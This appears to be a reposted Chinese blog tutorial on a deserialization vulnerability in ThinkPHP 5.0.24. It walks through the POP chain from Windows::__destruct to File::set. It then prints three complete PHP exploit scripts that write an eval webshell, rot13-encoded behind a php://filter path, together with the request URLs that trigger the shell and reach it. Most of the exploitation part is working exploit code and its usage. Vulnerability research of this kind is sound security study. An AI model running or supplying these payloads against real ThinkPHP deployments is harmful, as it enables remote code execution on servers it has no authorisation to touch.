thinkphp5.0.24反序列化

thinkphp5.0.24反序列化

目录

  • 环境搭建
  • 链子
    • 起点destruct
    • 跳板tostring
    • 最后call
  • POP链
  • POC
    • linux下的poc
    • win,linux通用poc

环境搭建

thinkphp安装:

composer create-project topthink/think=5.0.* thinkphp5.0 --prefer-dist

application/index/controller/Index.php添加漏洞测试代码:

<?php
namespace app\index\controller;
class Index
{
    public function test()
    {
        $c = unserialize($_GET['c']);
        var_dump($c);
        return 'Welcome to thinkphp5.0.24';
    }
}

tp5.0的访问方式

入口文件:	http://127.0.0.1/code_audit/thinkphp5.0/public/
url访问:		http://127.0.0.1/code_audit/thinkphp5.0/public/?s=/index/index/test/
传参:		http://127.0.0.1/code_audit/thinkphp5.0/public/?s=/index/index/test/&c=1234

链子

起点destruct

直接Ctrl+Shift+F搜索__destruct(

在这里插入图片描述

这里跟的是Windows类。

发现它调用了removeFiles()方法,继续跟进。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-QmcQfqNu-1663424881563)(../img/tp5.01.png)]

发现removeFiles()函数使用了 file_exists 方法。并且file_exists 方法的参数$filename的值我们是可以通过序列化捏造的,也就是可控的。

我们看看file_exists是个啥函数。

在这里插入图片描述

查看 file_exists 的定义可以知道,$filename会被当做字符串处理,那么$filename->__toString()方法就会被调用。

跳板tostring

下面就要寻找一个实现了__toString()方法的对象来作为跳板。

thinkphp5.0.24反序列化

此处think\Model.php存在跳板可能。

    public function __toString()
    {
        return $this->toJson();
    }

使用了$this->toJson()方法,我们跟进。

    public function toJson($options = JSON_UNESCAPED_UNICODE)
    {
        return json_encode($this->toArray(), $options);
    }

使用了$this->toArray()方法,继续跟进。

在这里插入图片描述

我们可以看到第912行,$value调用了一个getAttr()方法,如果$value可控的话,我们就可以通过控制$value的值调用__call()方法

我们往上跟进,看看$value是否可控。

在这里插入图片描述

发现第902行$value是由getRelationData()的返回值进行赋值的,我们跟入getRelationData()函数。

在这里插入图片描述

我们发现 getRelationData() 函数中,如果我们传入的参数为 Relation 类方法参数类型约束,函数参数类型写了Relation)且满足 if 分支的条件,那么 $value就会由$this->parent 的值决定,而且$this->parent 的值是可控的。

1、判断是否能传入一个是Relation类的对象的参数。

我们回到\think\Model,发现调用getRelationData()函数时传入的是$modelRelation变量。也就是要让$modelRelation变量值是Ralation类的对象。

在这里插入图片描述

继续跟进,$modelRelation变量是由$relation()的返回值决定的。也就是要让$relation()的返回值是Ralation类的对象

跟进$relation(),发现$relation()函数是根据$relation的值进行调用的,$relation的值是由Loader::parseName($name, 1, false)的返回值决定的,可以在Loader.php里找到parseName()函数。

在这里插入图片描述

parseName()函数只对传进来的$name参数做了一些大小写替换,没有实质上的过滤操作。
如果$name是可控的,那么Loader::parseName($name, 1, false)的返回值就可控,那么$relation的值就可控。

往上跟踪看看$name是怎么来的,是不是可控。

在这里插入图片描述

如上图,首先判断$this->append是不是空,不是的话进入下面。foreach ($this->append as $key => $name)

append的值赋给了$name。而$this->append是我们可控的,也就是$name可控。

我们控制name的值进入最后一个if语句else。进入之后,$relation的值我们就可以控制了。

接着看下面,if (method_exists($this, $relation)) ,也就是说,$relation的值要是此类的某一个方法名。这里我们选择getError()方法。

在这里插入图片描述

因为getError()方法会直接返回$this->error,并且$this->error可控。
那么$relation的值要为getError。

$modelRelation变量值是$relation()的返回值,也就是getError()方法的返回值,也就是$this->error的值。

要让$modelRelation变量值是Ralation类的对象,我们就要控制$this->error的值是Ralation类的对象。

综上是可以给getRelationData() 函数传入一个Relation类的对象参数的。

2、看满不满足if分支的条件。

在这里插入图片描述

$this->parent 的值可控,if分支的第一个条件可以满足。

接下来我们看第二个条件,跟进 isSelfRelation() 函数。

在这里插入图片描述

直接返回$this->selfRelation,可控,因此我们可以满足if的第二个条件。

接下来我们看第三个条件,继续跟进getModel()函数。

在这里插入图片描述

返回$this->query->getModel(),$query可控。因此此时我们需要查找哪个类的getModel()的返回值是可控的,在这里找到了\think\db\Query类,跟进\think\db\Query类

在这里插入图片描述

\think\db\Query类的getModel()方法返回$this->model,可控。
因此第三个条件满足,if分支满足。

综上满足if分支的条件。

那么就可以通过控制$this->parent 的值去控制$value的值。

往下看,虽然$value可控,但是我们还要满足两个if的条件才能调用__call()方法,我们跟进这两个if条件。

在这里插入图片描述

第一个if条件需要满足$modelRelation存在getBindAttr()函数,我们全局搜索一下getBindAttr()函数,发现Relation类中不存在该方法,但OneToOne类中存在,且OneToOne类是Relation类的子类。

OneToOne类的getBindAttr()函数直接返回了$this->bindAttr,且$this->bindAttr可控。

在这里插入图片描述

跟进OneToOne.php,发现OneToOne是个抽象类(abstract),无法生成实例。

我们全局搜索继承它的类,发现HasOne类(或者BelongsTo)继承了OneToOne类,因此我们可以令$modelRelation的值为HasOne,此时便可满足第一个if条件。

thinkphp5.0.24反序列化

由于$this->bindAttr可控,因此我们也能满足第二个if条件。

我们往下跟进,发现$attr变量由$bindAttr决定,且$attr变量用于912行的$value->getAttr()中,因此$value->getAttr($attr)可控,所以我们可以根据$value->getAttr($attr)调用__call()方法。

最后call

此时我们需要寻找能写webshell的__call()方法,在这里选择的是think\console\Output类

在这里插入图片描述

我们看一下 in_array 方法:

在这里插入图片描述

if(in_array($method,$this->styles)) 里的$method是getAttr,且$this->styles是可控的。只要在styles数组里加一个getAttr即可。所以可以顺利进入第一个if。

array_unshift() 函数用于向数组插入新元素,新数组的值将被插入到数组的开头。array_unshift($args, $method)里的参数都是可控的,所以往下走没有影响。

call_user_func_array()是回调函数,可以将把一个数组参数作为回调函数的参数。call_user_func_array([$this, 'block'], $args); 也就是调用block函数,传参是$args数组。

我们跟一下block函数。

在这里插入图片描述

跟进writeln函数。

在这里插入图片描述

跟进write函数。

在这里插入图片描述

在这里$this->handle是可控的,我们寻找能写webshell的write()方法,此次选择了 think\session\driver\Memcache 类的write()方法。

在这里插入图片描述

在这里$this->handler又是可控的,使用了$this->handler->set方法。

我们继续寻找能写webshell的set()方法,此次选择了think\cache\driver\File 类。

在这里插入图片描述

我们可以看到think\cache\driver\File 类的set()方法通过file_put_contents()将$data写进了$filename文件,我们跟进$data和$filename,看$data与$filename是否可控。

往上跟进发现$filename的值是由getCacheKey()方法决定的,我们跟进getCacheKey()函数。

在这里插入图片描述

从getCacheKey()函数80行处的语句我们可以知道$filename的后缀是写死的,为php,并且文件名的一部分options['path']可控。

这时如果$data可控的话就可以getshell了。
我们跟进$data,发现$data最终是由think\console\Output类的write()方法决定的,$data的值为true,已经被写死了。

这样就说明了file_put_contents()函数能写入php文件,但内容不可控,无法写shell。

继续往下看,发现有个setTagItem()函数,跟进该函数看看。

在这里插入图片描述

我们可以看到在setTagItem()函数中又一次调用了set()函数,并且这次的$key是可控的,$value由之前的$filename决定,这也意味着我们可以通过setTagItem()再一次的写入php文件进行getshell。

到这里整个pop链已经梳理完了,接下来我们看看如何利用这条pop链进行getshell。

POP链

利用的时候我们首先需要绕过exit()的限制,因为利用file_put_contents()写入文件时内容有exit()函数并且在比较靠前的位置,如果执行到了exit()函数就会自动退出,不会执行我们写入的shell,所以我们需要绕过这个函数,这里用到php的伪协议编码进行绕过。

也就是说我们只需要在文件名中使用伪协议即可对exit()函数进行绕过

到这里我们其实可以写出整个payload了,但是目前只能写出Linux下的payload。

先梳理一下链子:

Windows类的__destruct()-->removeFiles()-->Model类的__tostring()-->toJson()-->toArray()-->Output类的__call()-->block()-->writeln()-->write()-->Memcache类的write()-->File类的set()-->Driver类的setTagItem()-->File类的set()-->file_put_contents写入shell

POC

linux下的tp5.0反序列化的poc编写(有详细注释版):

<?php
/*
反序列化的起点是Windows类里的__destruct方法,所以把Windows类抄过来。
已知Windows类这段的链子是:
	__destruct()-->removeFiles()-->file_exists()-->Model类的__tostring()
其中file_exists的参数由Windows类的files属性决定,我们需要控制files是某个类的对象,所以把files属性抄过来。
files的值应选择有tostring方法且能利用的类。
*/
/* 
关于这里namespace和use的使用:
1.namespace就直接抄原来的就行。
2.use后面的值就要填本类里new过的类的namespace。
	比如Windows类里new了Pivot类,那就要在Windows类的前面写上use <Pivot类所在的namespace>\Pivot,也就是use think\model\Pivot。
*/
namespace think\process\pipes;
use think\model\Pivot;
class Windows
{
    private $files=[];
    public function __construct(){
		$this->files = array(new Pivot());	
	}
}
//---------------------------------------------------------------------------
/*
本来是触发Model类的tostring方法,但是Model是抽象类(abstract),不能实例化(new)。
而Pivot类继承了Model类,拥有Model类的属性和方法,所以用Pivot类可以达到一样的效果,把Pivot类抄过来。
这段的链子是:
	__tostring()-->toJson()-->toArray()
主要是toArray()方法的利用。根据之前的分析,我们想要利用$value->getAttr($attr)触发call方法,就要控制value的值。
1.控制$append-->控制$name-->控制$relation,而$relation要='getError',所以$append=array('getError');!!!
2.$modelRelation等于$relation()的返回值也就是getError()的返回值,也就是$error的值。
	$modelRelation还得是Relation的对象。所以$error就要是Relation的对象。但是Relation是抽象类,不能实例化。
	我们找找继承了Relation类的类,OneToOne类继承了Relation类,BelongsTo类继承了OneToOne类。
	所以可以$error=new BelongsTo();!!!
3.getRelationData的三个if:
	-Model类的parent不为空。
	-Relation类的selfRelation要为假,selfRelation=false;!!!。
	-Relation类的query调用的getModel()函数返回值要等于Model类的parent。
		Model类的parent可控,Relation类的query可控,我们找存在可控的getModel()函数的类即可。
		这里用Query类,可控变量为model。
这里选择触发Output类的call方法,所以
Pivot类的parent和Query类的model都等于new Output();!!!
4.两个if
	-BelongsTo类要有getBindAttr()函数,因为OneToOne类有getBindAttr()函数,而BelongsTo类继承了OneToOne类,所以刚好满足。
	-$bindAttr不为空-->BelongsTo类的getBindAttr()的返回值不为空-->BelongsTo类的bindAttr属性不为空。
		所以随便赋个值bindAttr=array('hacker')
*/
namespace think\model;
use think\model\relation\BelongsTo;
use think\console\Output;
class Pivot{
    protected $append = [];
    protected $error;
    protected $parent;
    public function __construct(){
        $this->append=array('getError');
        $this->error=new BelongsTo();
        $this->parent=new Output();
	}
}
namespace think\model\relation;
use think\db\Query;
class BelongsTo{
    protected $selfRelation;
    protected $query;
    protected $bindAttr;
    public function __construct(){
        $this->selfRelation=false;
        $this->query=new Query();
        $this->bindAttr=array('hacker');
    }
}
namespace think\db;
use think\console\Output;
class Query
{
    protected $model;
    public function __construct(){
        $this->model=new Output();
    }
}
//---------------------------------------------------------------------------
/*
$value为Output的对象,$value->getAttr($attr)触发Output类的call方法。
这段链子:
	__call()-->block()-->writeln()-->write()
1.$method已知是getAttr,所以要进入第一个if,我们控制$styles = ['getAttr'];!!!
2.跟跟跟跟到了write(),handle可控,我们调用Memcache类的write
	所以控制handle=new Memcache();!!!
*/
namespace think\console;
use think\session\driver\Memcache;
class Output
{
    protected $styles;
    private $handle;
    public function __construct(){
        $this->styles = ['getAttr'];
        $this->handle=new Memcache();
    }
}
/*
handler可控,调用set,这里选择去调用File类的set方法。
所以控制handler=new File();!!!
*/
namespace think\session\driver;
use think\cache\driver\File;
class Memcache
{
    protected $handler;
    public function __construct(){
        $this->handler=new File();
    }
}
/*
利用setTagItem()方法控制filename和data。
setTagItem()方法在Driver类里,而File类继承了Driver类,有Driver类的属性和方法。
setTagItem()方法的第一个if要tag属性不为空,我们随便给一个值:$tag='hacker';!!!
$filename来自getCacheKey()的返回值。
getCacheKey()函数前两个if不用进去,所以控制options['cache_subdir']=false,options['prefix']=''。
$filename与options['path']有关。所以控制options['path']=>'php://filter/write=string.rot13/resource=<?cuc @riny($_CBFG[\'pzq\']);?>'
伪协议编码绕过exit()。
*/
namespace think\cache\driver;
class File
{
    protected $tag;
    protected $options;
    public function __construct(){
        $this->tag='hacker';
        $this->options = [
            'expire'        => 0,
            'cache_subdir'  => false,
            'prefix'        => '',
            'path'          => 'php://filter/write=string.rot13/resource=<?cuc @riny($_CBFG[\'pzq\']);?>',
            'data_compress' => false,
        ];
    }
}
use think\process\pipes\Windows;
$windows = new Windows();
echo urlencode(serialize($windows));
/*
http://xxxxx/public/?s=/index/index/test&c=序列化后的结果
然后访问
http://xxxxx/public/%3C%3Fcuc%20%40riny(%24_CBFG%5B'pzq'%5D)%3B%3F%3E9eb29dfe314054b3d7d41b9c9b3e938c.php
POST:cmd=phpinfo();
*/

linux下的poc

linux下的tp5.0反序列化利用poc(干净卫生版):

<?php
namespace think\process\pipes;
use think\model\Pivot;
class Windows
{
    private $files=[];
    public function __construct(){
		$this->files = array(new Pivot());	
	}
}
namespace think\model;
use think\model\relation\BelongsTo;
use think\console\Output;
class Pivot{
    protected $append = [];
    protected $error;
    protected $parent;
    public function __construct(){
        $this->append=array('getError');
        $this->error=new BelongsTo();
        $this->parent=new Output();
	}
}
namespace think\model\relation;
use think\db\Query;
class BelongsTo{
    protected $selfRelation;
    protected $query;
    protected $bindAttr;
    public function __construct(){
        $this->selfRelation=false;
        $this->query=new Query();
        $this->bindAttr=array('hacker');
    }
}
namespace think\db;
use think\console\Output;
class Query
{
    protected $model;
    public function __construct(){
        $this->model=new Output();
    }
}
namespace think\console;
use think\session\driver\Memcache;
class Output
{
    protected $styles;
    private $handle;
    public function __construct(){
        $this->styles = ['getAttr'];
        $this->handle=new Memcache();
    }
}
namespace think\session\driver;
use think\cache\driver\File;
class Memcache
{
    protected $handler;
    public function __construct(){
        $this->handler=new File();
    }
}
namespace think\cache\driver;
class File
{
    protected $tag;
    protected $options;
    public function __construct(){
        $this->tag='hacker';
        $this->options = [
            'expire'        => 0,
            'cache_subdir'  => false,
            'prefix'        => '',
            'path'          => 'php://filter/write=string.rot13/resource=<?cuc @riny($_CBFG[\'pzq\']);?>',
            'data_compress' => false,
        ];
    }
}
use think\process\pipes\Windows;
$windows = new Windows();
echo urlencode(serialize($windows));
/*
http://xxxxx/public/?s=/index/index/test&c=序列化后的结果
然后访问
http://xxxxx/public/%3C%3Fcuc%20%40riny(%24_CBFG%5B'pzq'%5D)%3B%3F%3E9eb29dfe314054b3d7d41b9c9b3e938c.php
POST:cmd=phpinfo();
*/

为什么windows还不行呢,因为windows文件名不能包含“<”、“?”、“>”等字符,但我们在使用伪协议时使用了这几个字符,所以我们想在windows下利用这条pop链的话还需要想一些其他的办法,此时我们就需要寻找其他的地方去赋值文件名。

在这里我们找的是think\cache\driver\Memcached的set()方法,即当程序走到Memcache.php中的write方法时我们不直接赋予$this->handle为File对象,而是赋值为cache中的Memcached对象。

win,linux通用poc

Windows(linux、Win通用)下的tp5.0反序列化利用poc:

<?php
namespace think\process\pipes;
use think\model\Pivot;
class Windows
{
    private $files=[];
    public function __construct(){
		$this->files = array(new Pivot());	
	}
}
//tostring本来是触发Model类的,但是Model是抽象类,不能实例化。
//所以使用继承了Model的Pivot类
namespace think\model;
use think\model\relation\BelongsTo;
use think\console\Output;
class Pivot{
    protected $append = [];
    protected $error;
    protected $parent;
    public function __construct(){
        $this->append=array('getError');//!
        $this->error=new BelongsTo();
        $this->parent=new Output();
	}
}
namespace think\model\relation;
use think\db\Query;
class BelongsTo{
    protected $selfRelation;
    protected $query;
    protected $bindAttr;
    public function __construct(){
        $this->selfRelation=false;
        $this->query=new Query();
        $this->bindAttr=array('hacker');
    }
}
namespace think\db;
use think\console\Output;
class Query
{
    protected $model;
    public function __construct(){
        $this->model=new Output();
    }
}
namespace think\console;
use think\session\driver\Memcache;
class Output
{
    protected $styles;
    private $handle;
    public function __construct(){
        $this->styles = ['getAttr'];
        $this->handle=new Memcache();
    }
}
namespace think\session\driver;
use think\cache\driver\Memcached;
class Memcache
{
    protected $handler;
    public function __construct(){
        $this->handler=new Memcached();
    }
}
namespace think\cache\driver;
class File
{
    protected $tag;
    protected $options = [];
    public function __construct()
    {
        $this->tag = true;
        $this->options = [
            'expire'        => 0,
            'cache_subdir'  => false,
            'prefix'        => '',
            'data_compress' => false,
            'path'          => 'php://filter/write=string.rot13/resource=./',
        ];
    }
}
class Memcached
{
    protected $tag;
    protected $options = [];
    protected $handler = null;
    public function __construct()
    {
        $this->tag = true;
        $this->handler = new File();
        $this->options = [
            'expire'   => 0,
            'prefix'   => '<?cuc @riny($_CBFG[\'pzq\']);?>',
        ];
    }
}
use think\process\pipes\Windows;
$windows = new Windows();
echo urlencode(serialize($windows));
/*
http://xxxxx/public/?s=/index/index/test&c=序列化后的结果
然后访问
http://xxxxx/public/0f3a97a39ce7ab0b6672494aace6b06a.php
POST:cmd=phpinfo();
*/

学习链接:

  • Thinkphp5.0.24反序列化漏洞分析与利用 – Yhck – 博客园 (cnblogs.com)

  • ThinkPHP 5.0.24 反序列化RCE (Windows下EXP) – xiaozhiru – 博客园 (cnblogs.com)

  • Thinkphp5.0、5.1、6.x反序列化漏洞分析及EXP – FreeBuf网络安全行业门户

                       

点击阅读全文

上一篇 2023年 6月 12日 am10:34
下一篇 2023年 6月 12日 am10:36